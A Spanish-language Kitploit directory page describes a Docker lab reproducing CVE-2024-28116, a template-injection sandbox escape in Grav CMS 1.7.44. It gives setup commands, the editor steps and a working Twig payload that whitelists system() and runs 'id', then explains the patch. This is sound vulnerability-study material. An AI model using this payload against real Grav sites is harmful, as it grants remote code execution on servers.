Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
grav-cve-2024-28116 — Análisis y reproducción con Docker de CVE-2024-28116 - SSTI con evasión de sandbox en Grav CMS | Kitploit
Herramientas/GitHubGitHub/bebarossi/grav-cve-2024-28116
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebAprendizaje y EducaciónLabs y Práctica
GitHubbebarossi/grav-cve-2024-28116

grav-cve-2024-28116

Análisis y reproducción con Docker de CVE-2024-28116 - SSTI con evasión de sandbox en Grav CMS

Ver Repositorio
8hace 22 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-28116 — Inyección de plantillas del lado del servidor (SSTI) con evasión del sandbox en Grav CMS

Análisis y reproducción con Docker de CVE-2024-28116, una vulnerabilidad de inyección de plantillas del lado del servidor con evasión del sandbox de seguridad en Grav CMS hasta la versión 1.7.44 inclusive, corregida en la versión 1.7.45.

Reportado por: Maurizio Siddu (akabe1)
Puntuación CVSS v3.1: 8.8 (Alta)
Corregido en: Grav CMS 1.7.45


Estructura del repositorio

  • vulnerable
    • Dockerfile # Grav CMS 1.7.44 (vulnerable)
    • apache.conf # Configuración de Apache
  • patched
    • Dockerfile # Grav CMS 1.7.45 (corregido)
    • apache.conf # Configuración de Apache
  • CVE-2024-28116_Report.pdf

Requisitos

  • Docker Desktop instalado y en ejecución en macOS
  • No se necesitan otras dependencias: todo está instalado dentro del contenedor

Cómo ejecutar el entorno vulnerable (Grav 1.7.44)

root@kitploit:~
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

Abra su navegador en http://localhost:8080/admin y cree una cuenta de administrador en el primer acceso.


Cómo reproducir el exploit

  1. En el Panel de Administración, cree una segunda cuenta de usuario con permisos de solo editor (Iniciar sesión en el sitio, Iniciar sesión en Admin y Páginas establecidos como Permitido; todo lo demás, No establecido)
  2. Abra una ventana de navegador privada e inicie sesión como editor en http://localhost:8080/admin
  3. Vaya a Páginas → Añadir página, establezca el título como test page y haga clic en Continuar
  4. En la pestaña Avanzado, habilite el procesamiento de Twig marcando tanto Markdown como Twig en Procesar
  5. En la pestaña Contenido, pegue la siguiente carga útil:
root@kitploit:~
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
  1. Haga clic en Guardar
  2. Abra una pestaña normal del navegador y visite http://localhost:8080/test-page
  3. El servidor volcará el objeto de configuración completo de Grav y, en la parte inferior, mostrará: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Esto confirma la ejecución remota de código como usuario del servidor web.


Cómo ejecutar el entorno corregido (Grav 1.7.45)

root@kitploit:~
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

Abra su navegador en http://localhost:8081/admin y repita todos los pasos del exploit anteriores, apuntando a http://localhost:8081/test-page.

La página estará completamente en blanco. El método cleanDangerousTwig() en Security.php detecta y bloquea la directiva twig.safe_functions antes de que llegue al motor de Twig. La lista blanca nunca se modifica y el comando nunca se ejecuta.


Cómo funciona la vulnerabilidad

La vulnerabilidad se encuentra en system/src/Grav/Common/Twig.php. Grav implementa un sandbox para evitar que se llamen funciones PHP peligrosas dentro de las plantillas Twig, basado en una lista negra verificada por isDangerousFunction(). Sin embargo, el sandbox no protege el propio objeto Twig. Un usuario con nivel de editor puede interactuar con el objeto Twig mediante directivas de plantilla especialmente diseñadas y sobrescribir la lista blanca system.twig.safe_functions en tiempo de ejecución. Una vez que una función peligrosa como system() se añade a la lista blanca, la verificación del sandbox se evade y la función se ejecuta sin restricciones.


La corrección

El parche añade 'twig.safe_functions' a la lista de patrones bloqueados dentro del método cleanDangerousTwig() en system/src/Grav/Common/Security.php. Cualquier directiva que contenga esta cadena se neutraliza antes de llegar al motor de Twig, lo que hace imposible que un editor modifique la lista blanca desde una plantilla.

Descargar herramienta